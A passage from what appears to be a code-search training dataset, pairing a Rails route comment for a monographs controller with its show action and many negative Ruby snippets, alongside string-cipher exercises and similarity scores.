"def translate(a)\n\tvoyel = [\"a\",\"e\",\"i\",\"o\",\"u\"]\ncheck = 0\nn = 0\nx = a \n words = a.split(/\\W+/)\n words.each do |a|\n\tok = voyel.include?(a[0])\n\tif ok == true \n\t\ta = a + \"ay\"\n\t\treturn a \n\tend\n while check <= 4\n\tb = a.slice(0..check)\n\n\tcheck = check + 1\n \n\tok = voyel.include?(x[check])\n\ttest1 = \"qu\".include?(x[check])\n\tif test1 == true \n\t\tif check == 1\n\t\t\tb = a.slice(0..check)\n\t\t\ta = a + b + \"ay\"\n\t\treturn a[2..-1]\n\t elsif check == 2\n\t \tb = a.slice(1..check)\n\t \t\ta = a + b + \"ay\"\n\t \treturn a[3..-1]\n\t elsif check == 3 \n\t \t\ta = a + b + \"ay\"\n\t \treturn a[4..-1]\n\t end\n\tend\n\n\tif ok == true \n\t\tif check == 1\n\t\t\ta = a + b + \"ay\"\n\t\treturn a[1..-1]\n\t elsif check == 2\n\t \t\ta = a + b + \"ay\"\n\t \treturn a[2..-1]\n\t elsif check == 3 \n\t \t\ta = a + b + \"ay\"\n\t \treturn a[3..-1]\n\t end\n\tend\nend\nend\nend",
"def translate_char(char)\n# designed to be called upon by our translate_phrase method\n\talphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\thalfway = alphabet.length / 2\n\t#halfway = 13\n\tis_capitalized = (char.upcase == char)\n\n\t#if alphabet.index(char.downcase) == nil\n\tif !alphabet.index(char.downcase)\n\t\t#return \"boing\"\n\t\t\"boing\"\n\t#elsif is_capitalized && (alphabet.index(char.downcase) + 1) \n\t\t#<= halfway\n\telsif is_capitalized && alphabet.index(char.downcase) < halfway\n\t\t#return \"bloop\"\n\t\t\"bloop\"\n\t#elsif is_capitalized || char.downcase == \"e\"\n\telsif is_capitalized || char == \"e\"\n\t\t#return \"buzz\"\n\t\t\"buzz\"\n\telse \n\t\t#return char\n\t\t#char\n\t\t#return \"beep\"\n\t\t\"beep\"\n\tend\nend",
"def next_vowel(name)\n\tvowels = %w( a e i o u )\n\tname = name.downcase!.split('')\n\tnew_name = name.map do |vowels_method|\n\t\tif vowels.include?(vowels_method)\n\t\t\tvowels.rotate(1)[vowels.index(vowels_method)]\n\t\telsif vowels == 'u'\n\t\t\tvowels.replace('a')\t\n\t\telse\n\t\t\tvowels_method\n\t\tend\n\tend\n\tnew_name.join.capitalize\nend",
"def pig_latin_word(word)\n vowels = \"aeiou\"\n pigArr = []\n wordArr = word.split(\"\")\n \n if vowels.include?(word[0]) == true\n return word << \"yay\"\n else\n\n word.each_char.with_index do |ele, idx|\n\n if vowels.include?(ele) == true\n wordArr << pigArr\n return wordArr.join(\"\") + \"ay\"\n else\n wordArr[idx] = \"\"\n pigArr << ele\n end\n \n end\n\n end\nend",
"def pig_latin_sentence(sentence)\r\n\tnew_sentence = \"\"\r\n\tsentence.split.each do |word|\r\n\t\tif word[0].downcase =~ /[aeiou]/\r\n\t\t\tword << \"way\" \r\n\t\telse\r\n\t\t\tn = /[aeiou]/.match word.downcase\r\n\t\t\tword = n.to_s + n.post_match + n.pre_match + \"ay\"\r\n\t\tend\r\n\t\tnew_sentence << word\r\n\tend\r\n\tnew_sentence\r\nend",
"def aliass(full_name)\n\talphabet = \"bcdfghjklmnpqrstvwxyz\"\n\tvowels = \"aeiou\"\n\tnew_string = \"\"\n\n\t#break input word into array and iterate through each letter\n\t#if the letter is a vowel, take it and change it to next_vowel\n\t#if the letter is a consonant, take it and change it to consonant\n\t#else just add with no modification\n\tfull_name.split('').each do |letter|\n\t\tif vowels.include?(letter)\n\t\t\tnew_string += vowel(letter)\n\t\telsif alphabet.include?(letter)\n\t\t\tnew_string += consonant(letter)\n\t\telse\n\t\t\tnew_string += letter\n\t\tend\n\tend\n\t#transform this new string into an array\n\tnew_word = new_string.split(' ')\n\t#swap first and second word in array\n\tnew_word.reverse!\n\t#turn new word into string\n\tnew_word.map {|names| names.capitalize!}\n\tnew_string = new_word.join(\" \")\nend",
"def vowel_cipher(string)\n change = {\n \"a\"=>\"e\",\n \"e\"=>\"i\",\n \"i\"=>\"o\",\n \"o\"=>\"u\",\n \"u\"=>\"a\"\n }\n vowels = \"aeiou\"\n\n new_arr = string.split(\"\").map do |char|\n if vowels.include?(char)\n change[char]\n else\n char\n end\n end\n\n return new_arr.join(\"\")\nend",
"def next_vowel(str)\n\t# Need to identify the vowels in the English alphabet in a new variable\n\tvowels = [\"a\",\"e\",\"i\",\"o\",\"u\"]\n\t# Need to also identify the consonants in the English alphabet in a new variable\n\tconsonants = [\"b\",\"c\",\"d\",\"f\",\"g\",\"h\",\"j\",\"k\",\"l\",\"m\",\"n\",\"p\",\"q\",\"r\",\n\t\t\"s\",\"t\",\"v\",\"w\",\"x\",\"y\",\"z\"]\n\twords = str.split # Splitting the name into words based on space (' ')\n\t\n\t## Loop into each name\n\ti = 0 # Setting an index to zero\n\tnew_word = [] # Setting up an empty array for our new scrambled word\n\tmod_word = [] # Setting up an empty array to hold the capitalized scrambled word\n\n\twhile i < words.length # Looping into each word\n\t\tchars = words[i].split('') # Split each word into characters\n\t\tnew_chars = chars.map{|char| # Mapping into each character\n\t\t\tif vowels.include?(char) # If the character is included in the vowels variable\n\t\t\t\tvowels.rotate(1)[vowels.index(char)] # Reassign it to the next vowel\n\t\t\telsif consonants.include?(char) # If the character is included in the consonants variable\n\t\t\t\tconsonants.rotate(1)[consonants.index(char)] # Reassign it to the next consonet\n\t\t\telse\n\t\t\t\tchar # Otherwise don't do anything (In case there are odd characters)\n\t\t\tend\n\t\t}\n\t\tnew_word.push(new_chars.join) # rejoin the word\n\t\t# This bit of code capitalizes the first character of the name\n\t\tmod_word.push(new_word[i].slice(0,1).capitalize + new_word[i].slice(1..-1))\n\t\ti += 1 # increment counter\n\tend\n\treturn mod_word.join(' ') # return the rejoined words\nend",
"def hipsterfy(word)\n vowels = \"aeiou\"\n\n # reverse the word first and iterate through word with index\n word.reverse.each_char.with_index do |char, idx|\n if vowels.include?(char)\n # when word is returned, original word is returned\n # so reverse the word and concate the string without the index that has the last vowel\n # return the reversed concate string\n return (word.reverse[0...idx] + word.reverse[idx + 1..-1]).reverse\n end\n end\n \n word\nend",
"def code_name(word)\n#set a new word to an empty string, we are going to fill it using the rest of the loop:\n\tnew_word = \"\"\n#start index at 0\n\ti = 0\n#loop through the string:\n\twhile i < word.length\n#letter is going to be the index of the word put in, starting at the 0 position until the end of the word's length\n\tletter = word[i]\n#if a space is found, add a space to the new word\n\t\tif letter == ' '\n\t\tnew_word += ' '\n#everything else, find the next letter or the next vowel or next edge case, and add it to the new word\n\t\telse\n\t\t letter == letter.downcase\n\t\tnew_word += vowels_and_edges(letter)\n \t\tend\n \t\ti += 1\n end\n#should result in a new word, when all strings are pieced together \n new_word\nend",
"def translate(string)\n initial_consonants =Regexp.new(/^(sch|scr|shr|sph|spl|spr|squ|str|thr|bl|br|ch|cl|cr|dr|dw|fl|fr|gl|gr|pl|pr|qu\\\n|sc|sk|sl|sm|sn|sp|st|sw|th|tr|tw|b|c|d|f|g|h|j|k|l|m|n|p|q|r|s|t|v|w|x|y|z)/)\n array = string.split(' ')\n new_array = []\n array.each do |element|\n if initial_consonants.match(element)\n position = ((initial_consonants.match(element)).to_s.length)\n new_string = element[position..element.length]+element[0...position] + 'ay'\n else\n new_string = element + 'ay'\n end\n new_array << new_string\n end\n new_array.join(' ')\nend",
"def translate(input)\n #outStr = input.downcase\n outStr = input\n\n # replace words\n # still need to add punctuation and missing words\n outStr = single_words(outStr)\n\n # prepend and append\n outStr = prepend_and_append(outStr)\n\n # punctuation\n #outStr = punctuation(outStr)\n\n # change tags like &god or &bodypart, etc\n outStr = change_tags(outStr)\n\n\n puts outStr\n end",
"def hipsterfy(word)\n vowels = \"aeiouAEIOU\"\n\n i = word.length - 1\n while i >= 0\n char = word[i]\n\n if vowels.include?(char)\n return word = word[0...i] + word[i + 1..-1]\n end \n i -= 1\n\n end \n\n word \nend",
"def vowel_consonant_adv(str)\r\n \t\tvowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\r\n \t\tstr = str.split('')\r\n \t\tstr_new = str.map do |letter|\r\n if vowels.include?(letter)\r\n \tvowels.rotate(1)[vowels.index(letter)]\r\n else\r\n \tletter.next\r\n end\r\n \tend\r\n \t\tstr_new.join\r\n\tend",
"def hackerSpeak(word)\n\tnew_word=''\n\tword.each_char do |c|\n\t\tif c.downcase=='a'\n\t\t\tnew_word=new_word+'4'\n\t\telsif c.downcase=='e'\n\t\t\tnew_word=new_word+'3'\n\t\telsif c.downcase=='i'\n\t\t\tnew_word=new_word+'1'\n\t\telsif c.downcase=='o'\n\t\t\tnew_word=new_word+'0'\n\t\telsif c.downcase=='s'\n\t\t\tnew_word=new_word+'5'\n\t\telse\n\t\t\tnew_word=new_word+ c\t\t\t\t\t\t\n\t\tend\t\n\tend\n\tnew_word\nend",
"def latinize_lc(x)\n\tletters = ('a'..'z').to_a\n\tvowels = %w[a e i o u]\n\tconsonants = letters - vowels\n\t\n\tif vowels.include?(x[0..0])\n\t\tx + 'ay'\n\telsif x[0..2] == 'squ'\n\t\tx[3..-1] + 'squay'\n elsif consonants.include?(x[0..0]) && consonants.include?(x[1..1]) && consonants.include?(x[2..2])\n\t\tx[3..-1] + x[0..2] + 'ay'\n\telsif consonants.include?(x[0..0]) && consonants.include?(x[1..1]) \n\t\tx[2..-1] + x[0..1] + 'ay'\n\telsif x[0..1] == 'qu'\n\t\tx[2..-1] + 'quay'\n\telse consonants.include?(x[0])\n\t\tx[1..-1] + x[0..0] + 'ay'\n\tend\n\n\nend"
] |
[
"0.90905386",
"0.9008723",
"0.8832819",
"0.87669843",
"0.87153536",
"0.8612807",
"0.85827637",
"0.8523076",
"0.8521589",
"0.84026164",
"0.8398594",
"0.8244818",
"0.82202613",
"0.8201613",
"0.8185553",
"0.811662",
"0.8115236",
"0.81128913",
"0.80840904",
"0.8062673",
"0.80080384",
"0.7945045",
"0.7868957",
"0.78568846",
"0.785077",
"0.78366286",
"0.7821996",
"0.7819353",
"0.7792338",
"0.77912915",
"0.7782002",
"0.768935",
"0.768502",
"0.7683024",
"0.766634",
"0.76594734",
"0.764859",
"0.76380473",
"0.76117885",
"0.759829",
"0.75638145",
"0.75422186",
"0.75371385",
"0.7462467",
"0.741734",
"0.73640007",
"0.7363297",
"0.7354442",
"0.7354355",
"0.7350039",
"0.73484176",
"0.72964185",
"0.7290554",
"0.72891974",
"0.7281687",
"0.72650105",
"0.7263691",
"0.725109",
"0.7250858",
"0.72412825",
"0.72352934",
"0.7224778",
"0.72204053",
"0.72018987",
"0.7191154",
"0.7185622",
"0.7184452",
"0.7172435",
"0.71321",
"0.71080166",
"0.7107678",
"0.71020705",
"0.7098975",
"0.7096378",
"0.7092691",
"0.70690286",
"0.70673925",
"0.70586175",
"0.7057482",
"0.7057277",
"0.7056494",
"0.7051637",
"0.7047923",
"0.7046661",
"0.70396554",
"0.7038134",
"0.7032923",
"0.7030438",
"0.7027015",
"0.7025686",
"0.6998873",
"0.6989713",
"0.6977197",
"0.6975245",
"0.6965225",
"0.69647866",
"0.6950396",
"0.6928913",
"0.69277424",
"0.6914422"
] |
0.89228815
|
2
|
GET /generic_monographs GET /generic_monographs.json
|
def index
# @cd = DisGenericMonograph.all
c = DisGenericMonograph.paginate(:page => params[:page], :per_page => 10)
e = c.count
c = c.as_json
d = [{"Count" => e}]
m = {"a" => c ,"b" => d}
# n = c.to_a << @m
respond_with m
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @dis_generic_monographs = DisGenericMonograph.all\n end",
"def set_generic_monograph\n @generic_monograph = DisGenericMonograph.find(params[:id])\n end",
"def index\n @carbon_monoxides = CarbonMonoxide.all\n render json: @carbon_monoxides\n end",
"def index\n @mugshots = Mugshot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mugshots }\n end\n end",
"def get_all_monsters\n render :json => {:success => \"true\",\n :data => {\n :monsters => @user.monsters.blank? ? Array.new : @user.monsters.map { |mon| {:id => mon.id, :name => mon.name, :team_count => mon.teams.size} }\n }}\n end",
"def index\n @movers = Mover.all\n\n render json: @movers\n end",
"def index\n @testmonials = Testmonial.all\n\n render json: @testmonials\n end",
"def movie_data\n response = RestClient.get(\"critics.api.mks.io/movie-genres\")\n JSON.parse(response)\nend",
"def show\n @monit = Monit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monit }\n end\n end",
"def get\n\t\t\t result = Status.find_by(windmillid: params[:windmillid]) \n \t\t\trender json: [result.as_json(only: [:status,:power,:gen,:frequency,:rotor,:wind,:pitch])]\n\tend",
"def index\n @microroles = Microrole.includes(:verb_coding_frame_microroles).readonly(false).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @microroles }\n end\n end",
"def show\n respond_with DisGenericMonograph.find(params[:id])\n end",
"def set_dis_generic_monograph\n @dis_generic_monograph = DisGenericMonograph.find(params[:id])\n end",
"def index\n @mobs_nanos = MobsNano.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @mobs_nanos.to_xml }\n end\n end",
"def index\n @magissues = Magissue.all\n @magazines = Magazine.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @magissues }\n end\n end",
"def index\n @pictures = @museum.pictures.all #Picture.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end",
"def list\n # ready the json object!\n render status: 200, json: SystemMapSystem.all.as_json(include: {\n discovered_by: { only: [], methods: [:main_character] },\n system_objects: { include: { flora: {}, fauna: {}, observations: {}, discovered_by: { only: [], methods: [:main_character] }, system_map_images: {}, object_type: {}, locations: { methods: [:primary_image_url] }, atmo_compositions: { include: { atmo_gas: {} } } }, methods: [:primary_image_url] },\n planets: { include: { flora: {}, fauna: {}, settlements: { include: { locations: { methods: [:primary_image_url] } }, methods: [:primary_image_url] }, observations: {}, discovered_by: { only: [], methods: [:main_character] }, system_map_images: {}, locations: { include: { system_map_images: {} }, methods: [:primary_image_url] }, moons: { include: { flora: {}, fauna: {}, settlements: { include: { locations: { methods: [:primary_image_url] } }, methods: [:primary_image_url] }, observations: {}, discovered_by: { only: [], methods: [:main_character] }, system_map_images: {}, locations: { methods: [:primary_image_url] }, moon_types: {}, system_objects: { include: { flora: {}, fauna: {}, object_type: {}, locations: { methods: [:primary_image_url] } }, methods: [:primary_image_url] }, atmo_compositions: { include: { atmo_gas: {} } } }, methods: [:primary_image_url] }, planet_types: {}, system_objects: { include: { flora: {}, fauna: {}, object_type: {}, locations: { methods: [:primary_image_url] } }, methods: [:primary_image_url] }, atmo_compositions: { include: { atmo_gas: {} } } }, methods: [:primary_image_url] },\n gravity_wells: { include: { observations: {}, discovered_by: { only: [], methods: [:main_character] }, system_map_images: {}, gravity_well_type: { }, luminosity_class: { } }, methods: [:primary_image_url] } },\n methods: :jump_points)\n\n end",
"def index\n @wms = WmsResult.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wms }\n end\n end",
"def index\n @walls = Wall.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @walls }\n end\n end",
"def create\n @dis_generic_monograph = DisGenericMonograph.new(dis_generic_monograph_params)\n\n respond_to do |format|\n if @dis_generic_monograph.save\n format.html { redirect_to @dis_generic_monograph, notice: 'Dis generic monograph was successfully created.' }\n format.json { render :show, status: :created, location: @dis_generic_monograph }\n else\n format.html { render :new }\n format.json { render json: @dis_generic_monograph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @mercado_meta = MercadoMetum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mercado_meta }\n end\n end",
"def index\n @machines = Machine.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @machines }\n end\n end",
"def index\n @nvs_mig_statuses = NvsMigStatus.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @nvs_mig_statuses }\n end\n end",
"def index\n @networkings = Networking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @networkings }\n end\n end",
"def index\n @imagems = Imagem.where(:imovel_id => current_user.imovels {|i| i.id})\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @imagems }\n end\n end",
"def index\n @lophs = Loph.all\n respond_to do |format|\n format.html\n format.json { render json: @lophs}\n end\n end",
"def index\n @musics = Music.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @musics }\n end\n end",
"def index\n @genotypes = Genotype.paginate(:page => params[:page], :per_page => 10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @genotypes }\n end\n end",
"def index\n @musics = Music.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @musics }\n end\n end",
"def index\n @ginasios = Ginasio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ginasios }\n end\n end",
"def index\r\n @machines = Machine.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @machines }\r\n end\r\n end",
"def get_monsters\n @all_monsters\n end",
"def index\n @military_battle_rounds = Military::BattleRound.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @military_battle_rounds }\n end\n end",
"def index\n @infrastructures = getmydata(\"Infrastructure\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @infrastructures }\n end\n end",
"def index\n @mini_games = MiniGame.all\n render json: @mini_games, status: :ok\n end",
"def index\n weathers = Weather.all\n render json: weathers, status: 200\n end",
"def index\n @micropots = Micropot.all\n end",
"def index\n @medications = Medication.all\n render json: @medications\n end",
"def index\n \tif params[:category] == \"METRO\"\n \trender :json => Interest.stops.to_json\n elsif params[:category] == \"Photos\"\n render :json => Interest.panoramio\n \telsif params[:category]\n \t\tcategory_id = Category.find_by_name(params[:category]).id\n \t\trender :json => Interest.find_all_by_category_id(category_id).to_json(:methods => :category_name)\n \telse\n \t\trender :json => Interest.all\n \tend\n\n end",
"def index\n @moons = Moon.all\n end",
"def index\n @generations = Generation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @generations }\n end\n end",
"def index\n @municipios = Municipio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @municipios }\n end\n end",
"def index\n @servers = getmydata(\"Server\")\n\tpagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @servers }\n end\n end",
"def index\n if params[:floor_id]\n data = {Image: [{id: params[:floor_id], Tags: Tag.find_by(floor: params[:floor_id])}]}\n else\n data = Tag.all\n end\n render json: data\n end",
"def index\n @machines = @location.machines\n @machine = Machine.new\n @titles = Title.all\n\n respond_to do |format|\n format.html {require_user}\n format.json { render json: @machines }\n end\n end",
"def index\n @wowolinks = Wowolink.all\n respond_to do |format|\n format.json {\n render :json => @wowolinks, :layout => false\n }\n end\n end",
"def index\n @maps = Map.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @maps }\n end\n end",
"def index\n @dog_walks = DogWalk.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @dog_walks }\n end\n \n end",
"def index\n @estacionamientos = Estacionamiento.all\n\n @json = Estacionamiento.all.to_gmaps4rails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @estacionamientos }\n end\n end",
"def index\r\n @imobiliarias = Imobiliaria.all\r\n\r\n respond_to do |format|\r\n # format.html # index.html.erb\r\n format.json { render json: @imobiliarias }\r\n end\r\n end",
"def get_monster_info\n monster_string = RestClient.get('http://www.dnd5eapi.co/api/monsters/')\n monster_hash = JSON.parse(monster_string)\n monster_info = monster_hash[\"results\"]\n monster_info\nend",
"def show\n @stat_misc = StatMisc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stat_misc }\n end\n end",
"def index\n @buildings = Building.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json :@buildings }\n end\n end",
"def index\n @concept_maps = ConceptMap.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json:@concept_maps }\n end\n end",
"def index\n # if we have plan to use paginate\n # @kinodoms = Kinodom.paginate :page => params[:page], :order => 'id DESC'\n @kinodoms = Kinodom.all\n @kinodom = Kinodom.new\n respond_with(@kinodoms, :location=>kinodoms_path )\n end",
"def new\n @monit = Monit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @monit }\n end\n end",
"def index\n @neighborhoods = Neighborhood.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @neighborhoods }\n end\n end",
"def index\n @services = Service.all\n @services_hash = @services.map do |s|\n {service: s, medium: s.medium.map { |media|\n media.as_json.merge({ media: url_for(media) })\n }, user: s.user.username, categories: s.categories}#, galleries: s.galleries\n \n end\n render json: @services_hash\n end",
"def index\n @mtypes = Mtype.order(:code)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mtypes }\n end\n end",
"def index\n\n @metro_lines = MetroLine.all\n\n render json: @metro_lines\n\n end",
"def index\n @majors = majors\n respond_to do |format|\n format.json{\n return render json: ret\n }\n end\n end",
"def index\n @title = \"Doctor List\"\n @medics = Medic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @medics }\n end\n end",
"def index\n # @microposts = Micropost.all\n @microposts = Micropost.paginate(page: params[:page], per_page: 20)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @microposts }\n end\n end",
"def show\n @monel = Monel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monel }\n end\n end",
"def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end",
"def index\n @monikers = Moniker.order(id: :desc).page params[:page]\n end",
"def index\n @shots = Shot.all\n\n render json: @shots\n end",
"def index\n @gommis = Gommi.all\n end",
"def index\n @wigs = Wig.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wigs }\n end\n end",
"def index\n respond_to do |format|\n format.html do\n @recent_objects = BiologicalRelationship.recent_from_project_id(sessions_current_project_id).order(updated_at: :desc).limit(10)\n render '/shared/data/all/index'\n end\n format.json {\n @biological_relationships = BiologicalRelationship.with_project_id(sessions_current_project_id).order(:name)\n }\n end\n end",
"def index\n @groupons = Groupon.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groupons }\n end\n end",
"def index\n @losts = Lost.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @losts }\n end\n end",
"def index\n @minicursos = Minicurso.all\n\t\t#@minicursos = Minicurso.scoped\n\t\t#@users = Minicurso.inscritos(params[:id]) if params[:id].present?\n\n respond_to do |format|\n\t\t\t format.html # index.html.erb\n\t\t\t format.json { render json: @minicursos }\n end\n end",
"def index\n @powiadomienia = Powiadomienie.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @powiadomienia }\n end\n end",
"def index\n @mirrors = Mirror.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mirrors }\n end\n end",
"def index\n @workstations = Workstation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @workstations }\n end\n end",
"def generic_monograph_params\n params.require(:generic_monograph).permit(:generic_id, :dose, :contraindication, :precaution, :adverse_effect, :storage, :datasource_id, :status_id)\n end",
"def show\n @monnaie = Monnaie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monnaie }\n end\n end",
"def index\n @photos = Photo.all\n\n render json: @photos\n end",
"def index\n @minerals = Mineral.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @minerals }\n end\n end",
"def index\n @neighborhoods = Neighborhood.alphabetical.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @neighborhoods }\n end\n end",
"def index\n @stations = Station.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stations }\n end\n end",
"def index\n @relaciones_articulos_medida = RelacionArticuloMedida.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @relaciones_articulos_medida }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end",
"def index\n\t@instruction = Instruction.find( params[ :instruction_id ] )\n @testimonies = @instruction.testimonies.page( params[ :page ] ).per(20)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @testimonies }\n end\n end",
"def index\n @mining_wastes = []\n Rails.logger.debug params.inspect\n\n if params[:owner_id]\n if (params[:owner_id] && ( !params[:labor_id].nil? && params[:labor_id] != \"\" ))\n labor = Labor.find params[:labor_id]\n @mining_wastes = labor.mining_wastes\n else\n owner = Owner.find params[:owner_id]\n if owner\n @mining_wastes = owner.mining_wastes \n else\n @mining_wastes = []\n end\n end\n else\n if params[:region_id] && params[:commune_id]\n # region = Region.find params[:region_id]\n commune = Commune.find params[:commune_id]\n @mining_wastes = commune.mining_wastes\n else\n if params[:commune_id]\n commune = Commune.find params[:commune_id]\n @mining_wastes = commune.mining_wastes\n end\n if params[:region_id]\n region = Region.find params[:region_id]\n @mining_wastes = region.mining_wastes\n end\n end\n end\n respond_to do |format|\n format.json { render json: @mining_wastes.as_json(methods: [:coords, :formated_resolution, :formated_resolution_date, :formated_resolution_closure_date, :formated_resolution_closure_number, :labor_name, :owner_name, :formated_utm_north, :formated_utm_east, :formated_partial_ton, :formated_total_ton, :formated_total_volume, :formated_partial_volume, :commune_id]), status: :ok }\n end\n end",
"def index\n @platforms = Platform.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @platforms }\n end\n end",
"def index\n @monthly_interests = MonthlyInterest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @monthly_interests }\n end\n end",
"def index\n @marco_generals = MarcoGeneral.all\n end",
"def index\n @bourbons = Bourbon.all\n\n @bourbons.each do |bourbon|\n bourbon.find_similar\n end\n\n respond_to do |format|\n format.html \n format.json { render json: @bourbons, :include => [:ratings, :similar], :methods => [:similar_id, :similarity, :all_similar] }\n end\n end",
"def index\n @pic_stories = PicStory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pic_stories }\n end\n end",
"def index\n @pictures = @album.pictures #JRD111115\n\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @pictures}\n end\n end",
"def index\n @core_machines = Core::Machine.scoped\n\n respond_to do |format|\n format.html { @core_machines = @core_machines.page(params[:page]) }\n format.json { render json: @core_machines }\n end\n end",
"def index\n # @wikis = Wiki.all\n @wikis = Wiki.find_all_by_title('Home')\n @allwikis = Wiki.recent.limit(10) \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wikis }\n end\n end",
"def index\n @nanos = Nano.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @nanos.to_xml }\n end\n end",
"def magic\n\t @word = Word.find(params[:id])\n\t\ttitle = @word.title\n if params[:more]\n\t\t @pics = Rails.cache.fetch(\"olive/#{title}\",:expires_in => 5.hours) do\n \t\t\tresults = Parallel.map([Olive::Tumblr,Olive::Instagram,Olive::Px]) do |p|\n \t\t\t\tphotos(p,title)\n \t\t\tend\n \t\t\tresults[0] + results[1] + results[2]\n \t\tend\n \telse\n \t opt = params[:ctag].blank? ? '' : @word.ctag_list.join(\" \")\n @pics = Grape::WordImage.new(title).parse(opt)[0..14]\n\t end\n\n\t\trender_json 0,\"ok\",@pics\n\tend",
"def index\n @physical_racks = PhysicalRack.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @physical_racks }\n end\n end",
"def index\n @structure_photos = StructurePhoto.paginate(page: params[:page], per_page: params[:size])\n .order(created_at: :desc).all\n render json: @structure_photos\n end",
"def index\n @mystics = Mystic.all\n end",
"def index\n @physicians = Physician.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @physicians }\n end\n end"
] |
[
"0.72994554",
"0.6578816",
"0.61421484",
"0.60313845",
"0.59895104",
"0.59883827",
"0.5962852",
"0.5911853",
"0.5881038",
"0.5856985",
"0.5837744",
"0.58331686",
"0.5830423",
"0.5815923",
"0.5801677",
"0.5768015",
"0.57534057",
"0.5738991",
"0.5713735",
"0.57081336",
"0.5705043",
"0.5692752",
"0.56861955",
"0.56724006",
"0.5664183",
"0.56609064",
"0.56590515",
"0.5658562",
"0.56342536",
"0.56242293",
"0.5622059",
"0.5622043",
"0.56170654",
"0.5610177",
"0.55931807",
"0.5588263",
"0.5581023",
"0.5578759",
"0.55785835",
"0.5572749",
"0.55726177",
"0.5547338",
"0.554408",
"0.55233514",
"0.5512271",
"0.5508831",
"0.5497752",
"0.5494824",
"0.5490032",
"0.54891646",
"0.5487715",
"0.54754597",
"0.5470832",
"0.54693913",
"0.5467615",
"0.54611236",
"0.5452869",
"0.54517066",
"0.5445935",
"0.54455096",
"0.54368293",
"0.54251087",
"0.5424964",
"0.54177725",
"0.5415619",
"0.5405423",
"0.54040694",
"0.5402849",
"0.5398575",
"0.5397643",
"0.5392689",
"0.5391248",
"0.5390599",
"0.5390391",
"0.5389773",
"0.53877366",
"0.53873825",
"0.5384217",
"0.53837",
"0.5380036",
"0.53745586",
"0.53617775",
"0.53560805",
"0.5349377",
"0.534641",
"0.53341484",
"0.532747",
"0.53259134",
"0.532494",
"0.532428",
"0.5321592",
"0.5321334",
"0.53204066",
"0.5313952",
"0.5312685",
"0.53121006",
"0.5310903",
"0.53078943",
"0.5307154",
"0.5305515"
] |
0.54754114
|
52
|
GET /generic_monographs/1 GET /generic_monographs/1.json
|
def show
respond_with DisGenericMonograph.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
